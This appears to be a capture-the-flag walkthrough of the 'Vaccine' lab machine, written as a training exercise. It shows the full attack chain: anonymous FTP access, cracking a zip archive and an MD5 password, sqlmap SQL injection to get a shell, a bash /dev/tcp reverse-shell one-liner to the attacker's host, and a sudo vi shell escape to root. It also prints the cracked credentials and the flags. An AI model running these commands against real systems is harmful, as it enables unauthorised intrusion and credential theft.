Vaccine

Penetration testing is not simple, it requires lots of technical knowledge and the capability to think outside of the box. Sometimes you will find simple yet dangerous vulnerabilities, other times you will find vulnerabilities where public exploits exist which you can use to get easy access to the system. The reality is, most of the time you will need to have many different vulnerabilities and misconfigurations where you will have to chain them all together in order to access the system of the target machine, or you will have a system that doesn't have vulnerabilities, but it has a weak password which might grant you access to the system. Vaccine is the machine that teaches us how enumeration is always the key, even if the system seems to be secure. Apart from that, it also teaches us how important is password cracking, it's surprising to know that not everyone has strong passwords.

TARGET IP --> 10.129.254.11

Task 1: Besides SSH and HTTP, what other service is hosted on this box?

  • I ran a quick nmap scan to see what was available.

nmap [Target IP]
  • FTP is also a service that is running on port 21.

Task 2: This service can be configured to allow login with any password for specific username. What is that username?

  • First start by connecting to the FTP client

ftp [Target IP]
  • Name --> anonymous

  • Password --> [Hit Enter]

Task 3: What is the name of the file downloaded over this service?

  • Once logged into the FTP client using anonymous credentials, check to see what files/directories can be listed.

ls
  • The only file that comes up is the backup.zip file.

Task 4: What script comes with the John The Ripper toolset and generates a hash from a password protected zip archive in a format to allow for cracking attempts?

  • I downloaded the file to my host computer.

get backup.zip
  • I next tried to unzip the file.

unzip backup.zip
  • I was prompted for a password which I do not have.

  • I then used the module of John The Ripper called zip2john to create a hash for John to crack.

zip2john backup.zip > hashes
  • I then ran the new hashes file through john using the rockyou wordlist

john --wordlist=[Path to wordlist] hashes
  • Next, I used the show option to see the hashes cracked.

  • This shows that the cracked hash is a password of --> 741852963

Task 5: What is the password for the admin user on the website?

  • I then unzipped the backup.zip file, with the password from above, and listed the items in it.

unzip backup.zip
  • Next, I used cat to view the index.php file. At the top of the file, I found what appears to be credentials for the admin account.

    • Username --> admin

    • Password --> MD5 Hashed: 2cb42f8734ea607eefed3b70af13bbd3

  • I then ran that through an online table to see if it could find a password. Which it did.

  • The credentials for the account are admin:qwerty789.

Task 6: What option can be passed to sqlmap to try to get command execution via the sql injection?

  • In the terminal, I inputted the following command to see more information and options for SQLmap.

sqlmap -h
  • It looks like the option --os-shell

Task 7: What program can the postgres user run as root using sudo?

  • Now that I have credentials for the admin account, I opened up a web browser to the Target URL which led me to sign in page. I signed in with the admin's credentials and got access to a catalogue system.

  • In the URL box, it shows that I have a search parameter listed which is equivalent to the search bar in the window. This means it is most likely connected to a database.

  • Using the Cookie Editor Firefox add-in, I first started by grabbing the value for the PHPSESSID --> r6iralarghq0ngvvboepuofn7i

  • I then used the tool sqlmap to automate a sql injection attack with the following:

sqlmap -u 'http://[Target IP]/dashboard.php?search=any+query' --cookie="PHPSESSID=r6iralarghq0ngvvboepuofn7i"
  • When prompted for testing for other payloads specific to for other DBMSes, I said no since it found it uses PostgreSQL.

  • When prompted to use all tests for PostgreSQL, I said yes.

  • After it determined that the GET parameter was vulnerable, I said no to testing any others as this should be the only available parameter at this URL.

  • Since it states that the GET parameter is vulnerable to SQL Injection, I reran the tool using the option --so-shell from our previous task to gain a shell into the database.

sqlmap -u 'http://[Target IP]/dashboard.php?search=any+query' --cookie="PHPSESSID=r6iralarghq0ngvvboepuofn7i" --os-shell
  • I now have a shell into the database. Next step is to set up a reverse shell back to my target computer that is more interactive.

  • I started by setting up a netcat listener on my host machine.

nc -lvnp 4444
  • In the target machine, I ran the following:

bash -c "bash -i >& /dev/tcp/[Host IP]/4444 0>&1"
  • I then checked back with my netcat listener and found I have a reverse shell set up to the database.

  • I next stabilized this shell with the following.

  • I started by running this on the Target's machine through the reverse shell.

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
  • Next I sent the shell to the background using CTRL + Z

  • In another terminal window on the my host machine, I ran the following to turn off echo and foreground the shell:

stty raw -echo; fg
  • Now that I have a fully interactive shell, I want to see what privileges I have sudo access with.

sudo -l
  • This, unfortunately, asked me for a password to the user I am signed in as, which I don't have. So I went digging around a bit.

  • In the file --> /var/www/html/dashboard.php, I found credentials for the user:

    • postgres:P@s5w0rd!

  • I ran the command above again to check to see what I have sudo privileges for.

  • It looks like the script I have sudo privileges for is vi

Capture User Flag:

  • Now that I have access to the machine I went digging around for the user flag. I made the assumption that the flag was named user.txt.

find / -name user.txt 2> /dev/null
  • I found the file in the directory --> /var/lib/postgresql/, and then used cat to see the contents.

  • ec9b13ca4d6229cd5cc1e09980965bf7

Capture Root Flag:

  • Next was to escalate my privileges. Since I know that I have sudo privileges with the script vi, I went looking in GTFObins for a possible means to escalate my privileges.

  • Looks like I can run the following to get sudo rights.

  • The first one doesn't work so will try the second one.

  • Before I do this, I'm going to stop using the reverse shell and hop over to SSH since I have the credentials for postgres.

  • Since I have access to that config file using vi as sudo, I will do that.

sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
  • This will allow me to run vi as sudo for this particular file. Once it is open, type the following and hit enter.

:set shell=/bin/sh
  • Type in the following and hit enter again:

:shell
  • After doing this, you should then have root privileges.

  • The root flag can be found in the /root/root.txt file.

  • dd6e058e814260bc70e9bbdef2715849

Last updated